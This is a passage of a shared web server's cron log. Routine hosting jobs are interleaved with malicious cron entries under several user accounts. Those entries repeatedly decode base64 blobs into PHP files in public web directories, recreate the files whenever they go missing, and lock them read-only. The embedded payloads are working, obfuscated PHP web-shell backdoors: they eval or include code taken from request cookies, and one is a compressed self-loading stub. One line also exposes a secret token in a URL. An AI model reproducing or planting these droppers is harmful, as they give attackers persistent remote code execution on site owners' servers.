"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:35:01 medusa CROND[19000]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:35:01 medusa CROND[19001]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 07:35:01 medusa CROND[19006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:35:01 medusa CROND[19008]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:35:01 medusa CROND[19009]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:35:01 medusa CROND[18991]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:35:01 medusa CROND[19010]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 07:35:01 medusa CROND[18992]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 19 07:36:01 medusa CROND[11188]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:36:02 medusa CROND[11300]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:36:02 medusa CROND[11301]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 07:36:02 medusa CROND[11303]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:36:02 medusa CROND[11304]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:36:02 medusa CROND[11302]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:36:02 medusa CROND[11305]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:36:02 medusa CROND[11307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:36:02 medusa CROND[11306]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:36:02 medusa CROND[11315]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:36:02 medusa CROND[11316]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:36:02 medusa CROND[11317]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:36:02 medusa CROND[11309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:36:02 medusa CROND[11322]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 07:37:01 medusa CROND[3147]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:37:01 medusa CROND[3148]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:37:01 medusa CROND[3149]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:37:01 medusa CROND[3150]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:37:01 medusa CROND[3153]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
